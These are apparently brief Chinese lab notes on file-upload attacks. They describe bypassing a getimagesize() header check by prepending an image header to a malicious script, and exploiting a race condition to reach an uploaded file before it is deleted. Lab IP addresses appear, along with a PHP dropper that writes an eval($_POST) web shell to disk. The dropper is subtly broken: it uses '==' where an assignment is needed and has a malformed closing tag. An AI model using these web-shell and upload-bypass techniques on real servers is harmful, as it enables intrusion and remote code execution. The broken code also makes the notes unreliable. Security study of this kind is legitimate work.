服务端校验：
后缀名白名单校验：
106.12.37.37：10004
服务端校验：
文件内容头校验：
getimagesize();
绕过方法：
在恶意脚本前加上允许上传文件的头标识
竞争上传：
趁代码不注意，赶紧访问！
（在删掉之前访问到就可以了）
106.12.37.37:10005
生小崽：
<?php
$file='web.php';
$shell=='<?php eval($_POST["key"])?>';
file_put_contents($file,$shell);
>
插件：noscript
